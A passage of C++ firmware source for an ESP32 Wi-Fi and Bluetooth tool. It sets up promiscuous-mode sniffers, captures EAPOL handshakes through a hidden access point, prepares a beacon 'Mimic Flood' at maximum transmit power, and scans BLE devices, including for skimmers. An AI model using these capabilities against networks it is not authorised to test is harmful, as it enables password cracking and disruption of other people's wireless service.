  553. display_obj.tft.setFreeFont(NULL);
  554. display_obj.tft.setCursor(0, 100);
  555. display_obj.tft.setTextSize(1);
  556. display_obj.tft.setTextColor(TFT_CYAN);
  557. display_obj.tft.println(F(text_table4[45]));
  558. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  559. #else
  560. this->clearStations();
  561. #endif
  562. }
  563. void WiFiScan::RunClearAPs() {
  564. #ifdef HAS_SCREEN
  565. display_obj.tft.setTextWrap(false);
  566. display_obj.tft.setFreeFont(NULL);
  567. display_obj.tft.setCursor(0, 100);
  568. display_obj.tft.setTextSize(1);
  569. display_obj.tft.setTextColor(TFT_CYAN);
  570. display_obj.tft.println(F(text_table4[9]));
  571. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  572. display_obj.tft.println(F(text_table4[45]));
  573. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  574. #else
  575. this->clearAPs();
  576. this->clearStations();
  577. #endif
  578. }
  579. void WiFiScan::RunClearSSIDs() {
  580. #ifdef HAS_SCREEN
  581. display_obj.tft.setTextWrap(false);
  582. display_obj.tft.setFreeFont(NULL);
  583. display_obj.tft.setCursor(0, 100);
  584. display_obj.tft.setTextSize(1);
  585. display_obj.tft.setTextColor(TFT_CYAN);
  586. display_obj.tft.println(F(text_table4[11]));
  587. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  588. #else
  589. this->clearSSIDs();
  590. #endif
  591. }
  592. void WiFiScan::RunGenerateSSIDs(int count) {
  593. #ifdef HAS_SCREEN
  594. display_obj.tft.setTextWrap(false);
  595. display_obj.tft.setFreeFont(NULL);
  596. display_obj.tft.setCursor(0, 100);
  597. display_obj.tft.setTextSize(1);
  598. display_obj.tft.setTextColor(TFT_CYAN);
  599. display_obj.tft.println(F(text_table4[13]));
  600. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  601. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  602. #else
  603. this->generateSSIDs(count);
  604. #endif
  605. }
  606. void WiFiScan::RunShutdownWiFi() {
  607. #ifdef HAS_SCREEN
  608. display_obj.tft.setTextWrap(false);
  609. display_obj.tft.setFreeFont(NULL);
  610. display_obj.tft.setCursor(0, 100);
  611. display_obj.tft.setTextSize(1);
  612. display_obj.tft.setTextColor(TFT_CYAN);
  613. display_obj.tft.print(F(text_table4[16]));
  614. #endif
  615. if (this->wifi_initialized) {
  616. this->shutdownWiFi();
  617. #ifdef HAS_SCREEN
  618. display_obj.tft.setTextColor(TFT_GREEN);
  619. display_obj.tft.println(F("OK"));
  620. #endif
  621. }
  622. else {
  623. #ifdef HAS_SCREEN
  624. display_obj.tft.setTextColor(TFT_RED);
  625. display_obj.tft.println(F(text17));
  626. display_obj.tft.println(F(text_table4[17]));
  627. #endif
  628. }
  629. }
  630. void WiFiScan::RunShutdownBLE() {
  631. #ifdef HAS_SCREEN
  632. display_obj.tft.setTextWrap(false);
  633. display_obj.tft.setFreeFont(NULL);
  634. display_obj.tft.setCursor(0, 100);
  635. display_obj.tft.setTextSize(1);
  636. display_obj.tft.setTextColor(TFT_CYAN);
  637. display_obj.tft.print(F(text_table4[18]));
  638. #endif
  639. if (this->ble_initialized) {
  640. this->shutdownBLE();
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.setTextColor(TFT_GREEN);
  643. display_obj.tft.println(F("OK"));
  644. #endif
  645. }
  646. else {
  647. #ifdef HAS_SCREEN
  648. display_obj.tft.setTextColor(TFT_RED);
  649. display_obj.tft.println(F(text17));
  650. display_obj.tft.println(F(text_table4[19]));
  651. #endif
  652. }
  653. }
  654. void WiFiScan::RunInfo()
  655. {
  656. String sta_mac = this->getStaMAC();
  657. String ap_mac = this->getApMAC();
  658. String free_ram = this->freeRAM();
  659. //Serial.print("STA MAC: ");
  660. //Serial.println(sta_mac);
  661. //Serial.print("AP MAC: ");
  662. //Serial.println(ap_mac);
  663. Serial.println(free_ram);
  664. #ifdef HAS_SCREEN
  665. display_obj.tft.setTextWrap(false);
  666. display_obj.tft.setFreeFont(NULL);
  667. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  668. display_obj.tft.setTextSize(1);
  669. display_obj.tft.setTextColor(TFT_CYAN);
  670. display_obj.tft.println(text_table4[20]);
  671. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  672. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  673. #endif
  674. if (this->wsl_bypass_enabled) {
  675. #ifdef HAS_SCREEN
  676. display_obj.tft.println(text_table4[23]);
  677. #endif
  678. }
  679. else {
  680. #ifdef HAS_SCREEN
  681. display_obj.tft.println(text_table4[24]);
  682. #endif
  683. }
  684. #ifdef HAS_SCREEN
  685. display_obj.tft.println(text_table4[25] + sta_mac);
  686. display_obj.tft.println(text_table4[26] + ap_mac);
  687. display_obj.tft.println(text_table4[27] + free_ram);
  688. #endif
  689. #ifdef WRITE_PACKETS_SERIAL
  690. #ifdef HAS_SCREEN
  691. display_obj.tft.println(text_table4[48]);
  692. #endif
  693. #else
  694. if (sd_obj.supported) {
  695. #ifdef HAS_SCREEN
  696. display_obj.tft.println(text_table4[28]);
  697. display_obj.tft.print(text_table4[29]);
  698. display_obj.tft.print(sd_obj.card_sz);
  699. display_obj.tft.println("MB");
  700. #endif
  701. } else {
  702. #ifdef HAS_SCREEN
  703. display_obj.tft.println(text_table4[30]);
  704. display_obj.tft.println(text_table4[31]);
  705. #endif
  706. }
  707. #endif
  708. battery_obj.battery_level = battery_obj.getBatteryLevel();
  709. if (battery_obj.i2c_supported) {
  710. #ifdef HAS_SCREEN
  711. display_obj.tft.println(text_table4[32]);
  712. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  713. #endif
  714. }
  715. else {
  716. #ifdef HAS_SCREEN
  717. display_obj.tft.println(text_table4[34]);
  718. #endif
  719. }
  720. #ifdef HAS_SCREEN
  721. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  722. #endif
  723. }
  724. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  725. #ifdef WRITE_PACKETS_SERIAL
  726. buffer_obj.open();
  727. #else
  728. sd_obj.openCapture("espressif");
  729. #endif
  730. #ifdef MARAUDER_FLIPPER
  731. flipper_led.sniffLED();
  732. #else
  733. led_obj.setMode(MODE_SNIFF);
  734. #endif
  735. #ifdef HAS_SCREEN
  736. display_obj.TOP_FIXED_AREA_2 = 48;
  737. display_obj.tteBar = true;
  738. display_obj.print_delay_1 = 15;
  739. display_obj.print_delay_2 = 10;
  740. display_obj.initScrollValues(true);
  741. display_obj.tft.setTextWrap(false);
  742. display_obj.tft.setTextColor(TFT_WHITE, color);
  743. #ifndef MARAUDER_MINI
  744. display_obj.tft.fillRect(0,16,240,16, color);
  745. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  746. display_obj.touchToExit();
  747. #endif
  748. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  749. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  750. #endif
  751. esp_wifi_init(&cfg);
  752. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  753. esp_wifi_set_mode(WIFI_MODE_NULL);
  754. esp_wifi_start();
  755. esp_wifi_set_promiscuous(true);
  756. esp_wifi_set_promiscuous_filter(&filt);
  757. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  758. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  759. this->wifi_initialized = true;
  760. initTime = millis();
  761. }
  762. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  763. {
  764. #ifdef MARAUDER_FLIPPER
  765. flipper_led.sniffLED();
  766. #else
  767. led_obj.setMode(MODE_SNIFF);
  768. #endif
  769. #ifdef WRITE_PACKETS_SERIAL
  770. buffer_obj.open();
  771. #else
  772. sd_obj.openCapture("packet_monitor");
  773. #endif
  774. #ifndef MARAUDER_MINI
  775. #ifdef HAS_SCREEN
  776. display_obj.tft.init();
  777. display_obj.tft.setRotation(1);
  778. display_obj.tft.fillScreen(TFT_BLACK);
  779. #endif
  780. #ifdef HAS_SCREEN
  781. #ifdef TFT_SHIELD
  782. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  783. Serial.println("Using TFT Shield");
  784. #else if defined(TFT_DIY)
  785. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  786. Serial.println("Using TFT DIY");
  787. #endif
  788. display_obj.tft.setTouch(calData);
  789. //display_obj.tft.setFreeFont(1);
  790. display_obj.tft.setFreeFont(NULL);
  791. display_obj.tft.setTextSize(1);
  792. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  793. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  794. delay(10);
  795. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  796. display_obj.tftDrawColorKey();
  797. display_obj.tftDrawXScaleButtons(x_scale);
  798. display_obj.tftDrawYScaleButtons(y_scale);
  799. display_obj.tftDrawChannelScaleButtons(set_channel);
  800. display_obj.tftDrawExitScaleButtons();
  801. #endif
  802. #else
  803. #ifdef HAS_SCREEN
  804. display_obj.TOP_FIXED_AREA_2 = 48;
  805. display_obj.tteBar = true;
  806. display_obj.print_delay_1 = 15;
  807. display_obj.print_delay_2 = 10;
  808. display_obj.initScrollValues(true);
  809. display_obj.tft.setTextWrap(false);
  810. display_obj.tft.setTextColor(TFT_WHITE, color);
  811. #ifndef MARAUDER_MINI
  812. display_obj.tft.fillRect(0,16,240,16, color);
  813. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  814. display_obj.touchToExit();
  815. #endif
  816. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  817. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  818. #endif
  819. #endif
  820. Serial.println("Running packet scan...");
  821. esp_wifi_init(&cfg);
  822. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  823. esp_wifi_set_mode(WIFI_MODE_NULL);
  824. esp_wifi_start();
  825. esp_wifi_set_promiscuous(true);
  826. esp_wifi_set_promiscuous_filter(&filt);
  827. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  828. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  829. this->wifi_initialized = true;
  830. uint32_t initTime = millis();
  831. }
  832. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  833. {
  834. #ifdef MARAUDER_FLIPPER
  835. flipper_led.sniffLED();
  836. #else
  837. led_obj.setMode(MODE_SNIFF);
  838. #endif
  839. num_eapol = 0;
  840. #ifndef MARAUDER_MINI
  841. #ifdef HAS_SCREEN
  842. display_obj.tft.init();
  843. display_obj.tft.setRotation(1);
  844. display_obj.tft.fillScreen(TFT_BLACK);
  845. #endif
  846. #ifdef WRITE_PACKETS_SERIAL
  847. buffer_obj.open();
  848. #else
  849. sd_obj.openCapture("eapol");
  850. #endif
  851. #ifdef HAS_SCREEN
  852. #ifdef TFT_SHIELD
  853. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  854. //Serial.println("Using TFT Shield");
  855. #else if defined(TFT_DIY)
  856. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  857. //Serial.println("Using TFT DIY");
  858. #endif
  859. display_obj.tft.setTouch(calData);
  860. display_obj.tft.setFreeFont(NULL);
  861. display_obj.tft.setTextSize(1);
  862. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  863. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  864. delay(10);
  865. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  866. display_obj.tftDrawEapolColorKey();
  867. display_obj.tftDrawChannelScaleButtons(set_channel);
  868. display_obj.tftDrawExitScaleButtons();
  869. #endif
  870. #else
  871. #ifdef WRITE_PACKETS_SERIAL
  872. buffer_obj.open();
  873. #else
  874. sd_obj.openCapture("eapol");
  875. #endif
  876. #ifdef HAS_SCREEN
  877. display_obj.TOP_FIXED_AREA_2 = 48;
  878. display_obj.tteBar = true;
  879. display_obj.print_delay_1 = 15;
  880. display_obj.print_delay_2 = 10;
  881. display_obj.initScrollValues(true);
  882. display_obj.tft.setTextWrap(false);
  883. display_obj.tft.setTextColor(TFT_WHITE, color);
  884. #ifndef MARAUDER_MINI
  885. display_obj.tft.fillRect(0,16,240,16, color);
  886. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  887. display_obj.touchToExit();
  888. #endif
  889. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  890. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  891. #endif
  892. #endif
  893. esp_wifi_init(&cfg);
  894. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  895. esp_wifi_set_mode(WIFI_MODE_AP);
  896. esp_err_t err;
  897. wifi_config_t conf;
  898. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  899. if (err != 0)
  900. {
  901. Serial.print("could not set protocol : err=0x");
  902. Serial.println(err, HEX);
  903. }
  904. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  905. conf.ap.ssid[0] = '\0';
  906. conf.ap.ssid_len = 0;
  907. conf.ap.channel = this->set_channel;
  908. conf.ap.ssid_hidden = 1;
  909. conf.ap.max_connection = 0;
  910. conf.ap.beacon_interval = 60000;
  911. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  912. if (err != 0)
  913. {
  914. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  915. Serial.println(err, HEX);
  916. }
  917. esp_wifi_start();
  918. esp_wifi_set_promiscuous(true);
  919. esp_wifi_set_promiscuous_filter(&filt);
  920. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  921. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  922. else
  923. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  924. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  925. this->wifi_initialized = true;
  926. initTime = millis();
  927. }
  928. // Function to prepare for beacon mimic
  929. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  930. #ifdef HAS_SCREEN
  931. display_obj.TOP_FIXED_AREA_2 = 48;
  932. display_obj.tteBar = true;
  933. display_obj.print_delay_1 = 15;
  934. display_obj.print_delay_2 = 10;
  935. display_obj.initScrollValues(true);
  936. display_obj.tft.setTextWrap(false);
  937. display_obj.tft.setTextColor(TFT_BLACK, color);
  938. #ifndef MARAUDER_MINI
  939. display_obj.tft.fillRect(0,16,240,16, color);
  940. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  941. display_obj.touchToExit();
  942. #endif
  943. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  944. #endif
  945. packets_sent = 0;
  946. esp_wifi_init(&cfg);
  947. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  948. esp_wifi_set_mode(WIFI_AP_STA);
  949. esp_wifi_start();
  950. esp_wifi_set_promiscuous_filter(NULL);
  951. esp_wifi_set_promiscuous(true);
  952. esp_wifi_set_max_tx_power(78);
  953. this->wifi_initialized = true;
  954. initTime = millis();
  955. }
  956. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  957. {
  958. #ifdef WRITE_PACKETS_SERIAL
  959. buffer_obj.open();
  960. #else
  961. sd_obj.openCapture("pwnagotchi");
  962. #endif
  963. #ifdef MARAUDER_FLIPPER
  964. flipper_led.sniffLED();
  965. #else
  966. led_obj.setMode(MODE_SNIFF);
  967. #endif
  968. #ifdef HAS_SCREEN
  969. display_obj.TOP_FIXED_AREA_2 = 48;
  970. display_obj.tteBar = true;
  971. display_obj.print_delay_1 = 15;
  972. display_obj.print_delay_2 = 10;
  973. display_obj.initScrollValues(true);
  974. display_obj.tft.setTextWrap(false);
  975. display_obj.tft.setTextColor(TFT_WHITE, color);
  976. #ifndef MARAUDER_MINI
  977. display_obj.tft.fillRect(0,16,240,16, color);
  978. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  979. display_obj.touchToExit();
  980. #endif
  981. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  982. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  983. #endif
  984. esp_wifi_init(&cfg);
  985. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  986. esp_wifi_set_mode(WIFI_MODE_NULL);
  987. esp_wifi_start();
  988. esp_wifi_set_promiscuous(true);
  989. esp_wifi_set_promiscuous_filter(&filt);
  990. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  991. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  992. this->wifi_initialized = true;
  993. initTime = millis();
  994. }
  995. // Function to start running a beacon scan
  996. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  997. {
  998. #ifdef WRITE_PACKETS_SERIAL
  999. buffer_obj.open();
  1000. #else
  1001. sd_obj.openCapture("beacon");
  1002. #endif
  1003. #ifdef MARAUDER_FLIPPER
  1004. flipper_led.sniffLED();
  1005. #else
  1006. led_obj.setMode(MODE_SNIFF);
  1007. #endif
  1008. #ifdef HAS_SCREEN
  1009. display_obj.TOP_FIXED_AREA_2 = 48;
  1010. display_obj.tteBar = true;
  1011. display_obj.print_delay_1 = 15;
  1012. display_obj.print_delay_2 = 10;
  1013. display_obj.initScrollValues(true);
  1014. display_obj.tft.setTextWrap(false);
  1015. display_obj.tft.setTextColor(TFT_WHITE, color);
  1016. #ifndef MARAUDER_MINI
  1017. display_obj.tft.fillRect(0,16,240,16, color);
  1018. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  1019. display_obj.touchToExit();
  1020. #endif
  1021. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1022. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1023. #endif
  1024. esp_wifi_init(&cfg);
  1025. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1026. esp_wifi_set_mode(WIFI_MODE_NULL);
  1027. esp_wifi_start();
  1028. esp_wifi_set_promiscuous(true);
  1029. esp_wifi_set_promiscuous_filter(&filt);
  1030. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  1031. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1032. this->wifi_initialized = true;
  1033. initTime = millis();
  1034. }
  1035. void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
  1036. {
  1037. #ifdef WRITE_PACKETS_SERIAL
  1038. buffer_obj.open();
  1039. #else
  1040. sd_obj.openCapture("station");
  1041. #endif
  1042. #ifdef MARAUDER_FLIPPER
  1043. flipper_led.sniffLED();
  1044. #else
  1045. led_obj.setMode(MODE_SNIFF);
  1046. #endif
  1047. #ifdef HAS_SCREEN
  1048. display_obj.TOP_FIXED_AREA_2 = 48;
  1049. display_obj.tteBar = true;
  1050. display_obj.print_delay_1 = 15;
  1051. display_obj.print_delay_2 = 10;
  1052. display_obj.initScrollValues(true);
  1053. display_obj.tft.setTextWrap(false);
  1054. display_obj.tft.setTextColor(TFT_WHITE, color);
  1055. #ifndef MARAUDER_MINI
  1056. display_obj.tft.fillRect(0,16,240,16, color);
  1057. display_obj.tft.drawCentreString(text_table1[59],120,16,2);
  1058. display_obj.touchToExit();
  1059. #endif
  1060. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1061. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1062. #endif
  1063. esp_wifi_init(&cfg);
  1064. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1065. esp_wifi_set_mode(WIFI_MODE_NULL);
  1066. esp_wifi_start();
  1067. esp_wifi_set_promiscuous(true);
  1068. esp_wifi_set_promiscuous_filter(&filt);
  1069. esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
  1070. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1071. this->wifi_initialized = true;
  1072. initTime = millis();
  1073. }
  1074. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  1075. {
  1076. #ifdef WRITE_PACKETS_SERIAL
  1077. buffer_obj.open();
  1078. #else
  1079. sd_obj.openCapture("raw");
  1080. #endif
  1081. #ifdef MARAUDER_FLIPPER
  1082. flipper_led.sniffLED();
  1083. #else
  1084. led_obj.setMode(MODE_SNIFF);
  1085. #endif
  1086. #ifdef HAS_SCREEN
  1087. display_obj.TOP_FIXED_AREA_2 = 48;
  1088. display_obj.tteBar = true;
  1089. display_obj.print_delay_1 = 15;
  1090. display_obj.print_delay_2 = 10;
  1091. display_obj.initScrollValues(true);
  1092. display_obj.tft.setTextWrap(false);
  1093. display_obj.tft.setTextColor(TFT_WHITE, color);
  1094. #ifndef MARAUDER_MINI
  1095. display_obj.tft.fillRect(0,16,240,16, color);
  1096. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  1097. display_obj.touchToExit();
  1098. #endif
  1099. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1100. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1101. #endif
  1102. esp_wifi_init(&cfg);
  1103. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1104. esp_wifi_set_mode(WIFI_MODE_NULL);
  1105. esp_wifi_start();
  1106. esp_wifi_set_promiscuous(true);
  1107. esp_wifi_set_promiscuous_filter(&filt);
  1108. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  1109. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1110. this->wifi_initialized = true;
  1111. initTime = millis();
  1112. }
  1113. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  1114. {
  1115. #ifdef WRITE_PACKETS_SERIAL
  1116. buffer_obj.open();
  1117. #else
  1118. sd_obj.openCapture("deauth");
  1119. #endif
  1120. #ifdef MARAUDER_FLIPPER
  1121. flipper_led.sniffLED();
  1122. #else
  1123. led_obj.setMode(MODE_SNIFF);
  1124. #endif
  1125. #ifdef HAS_SCREEN
  1126. display_obj.TOP_FIXED_AREA_2 = 48;
  1127. display_obj.tteBar = true;
  1128. display_obj.print_delay_1 = 15;
  1129. display_obj.print_delay_2 = 10;
  1130. display_obj.initScrollValues(true);
  1131. display_obj.tft.setTextWrap(false);
  1132. display_obj.tft.setTextColor(TFT_BLACK, color);
  1133. #ifndef MARAUDER_MINI
  1134. display_obj.tft.fillRect(0,16,240,16, color);
  1135. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1136. display_obj.touchToExit();
  1137. #endif
  1138. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1139. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1140. #endif
  1141. esp_wifi_init(&cfg);
  1142. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1143. esp_wifi_set_mode(WIFI_MODE_NULL);
  1144. esp_wifi_start();
  1145. esp_wifi_set_promiscuous(true);
  1146. esp_wifi_set_promiscuous_filter(&filt);
  1147. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1148. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1149. this->wifi_initialized = true;
  1150. initTime = millis();
  1151. }
  1152. // Function for running probe request scan
  1153. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1154. {
  1155. #ifdef WRITE_PACKETS_SERIAL
  1156. buffer_obj.open();
  1157. #else
  1158. sd_obj.openCapture("probe");
  1159. #endif
  1160. #ifdef MARAUDER_FLIPPER
  1161. flipper_led.sniffLED();
  1162. #else
  1163. led_obj.setMode(MODE_SNIFF);
  1164. #endif
  1165. #ifdef HAS_SCREEN
  1166. display_obj.TOP_FIXED_AREA_2 = 48;
  1167. display_obj.tteBar = true;
  1168. display_obj.print_delay_1 = 15;
  1169. display_obj.print_delay_2 = 10;
  1170. display_obj.initScrollValues(true);
  1171. display_obj.tft.setTextWrap(false);
  1172. display_obj.tft.setTextColor(TFT_BLACK, color);
  1173. #ifndef MARAUDER_MINI
  1174. display_obj.tft.fillRect(0,16,240,16, color);
  1175. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1176. display_obj.touchToExit();
  1177. #endif
  1178. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1179. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1180. #endif
  1181. esp_wifi_init(&cfg);
  1182. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1183. esp_wifi_set_mode(WIFI_MODE_NULL);
  1184. esp_wifi_start();
  1185. esp_wifi_set_promiscuous(true);
  1186. esp_wifi_set_promiscuous_filter(&filt);
  1187. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1188. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1189. this->wifi_initialized = true;
  1190. initTime = millis();
  1191. }
  1192. // Function to start running any BLE scan
  1193. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1194. {
  1195. #ifdef HAS_BT
  1196. #ifdef HAS_SCREEN
  1197. display_obj.print_delay_1 = 50;
  1198. display_obj.print_delay_2 = 20;
  1199. #endif
  1200. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1201. NimBLEDevice::setScanDuplicateCacheSize(200);
  1202. NimBLEDevice::init("");
  1203. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1204. if (scan_mode == BT_SCAN_ALL)
  1205. {
  1206. #ifdef HAS_SCREEN
  1207. display_obj.TOP_FIXED_AREA_2 = 48;
  1208. display_obj.tteBar = true;
  1209. display_obj.initScrollValues(true);
  1210. display_obj.tft.setTextWrap(false);
  1211. display_obj.tft.setTextColor(TFT_BLACK, color);
  1212. #ifndef MARAUDER_MINI
  1213. display_obj.tft.fillRect(0,16,240,16, color);
  1214. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1215. display_obj.touchToExit();
  1216. #endif
  1217. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1218. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1219. #endif
  1220. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1221. }
  1222. else if (scan_mode == BT_SCAN_SKIMMERS)
  1223. {
  1224. #ifdef HAS_SCREEN
  1225. display_obj.TOP_FIXED_AREA_2 = 160;
  1226. display_obj.tteBar = true;
  1227. display_obj.tft.fillScreen(TFT_DARKGREY);
  1228. display_obj.initScrollValues(true);
  1229. display_obj.tft.setTextWrap(false);
  1230. display_obj.tft.setTextColor(TFT_BLACK, color);
  1231. display_obj.tft.fillRect(0,16,240,16, color);
  1232. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1233. display_obj.twoPartDisplay(text_table4[43]);
  1234. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1235. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1236. #endif
  1237. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1238. }
  1239. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1240. pBLEScan->setInterval(97);
  1241. pBLEScan->setWindow(37); // less or equal setInterval value
  1242. pBLEScan->setMaxResults(0);
  1243. pBLEScan->start(0, scanCompleteCB, false);
  1244. Serial.println("Started BLE Scan");
  1245. this->ble_initialized = true;
  1246. initTime = millis();
  1247. #endif
  1248. }
  1249. // Function that is called when BLE scan is completed
  1250. #ifdef HAS_BT
  1251. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1252. printf("Scan complete!\n");
  1253. printf("Found %d devices\n", scanResults.getCount());
  1254. scanResults.dump();
  1255. } // scanCompleteCB
  1256. #endif
  1257. // Function to extract MAC addr from a packet at given offset
  1258. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1259. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1260. }
  1261. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1262. {
  1263. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1264. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1265. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1266. int len = snifferPacket->rx_ctrl.sig_len;
  1267. String display_string = "";
  1268. String src_addr_string = "";
  1269. if (type == WIFI_PKT_MGMT)
  1270. {
  1271. len -= 4;
  1272. }
  1273. int fctl = ntohs(frameControl->fctl);
  1274. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1275. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1276. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1277. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1278. //{
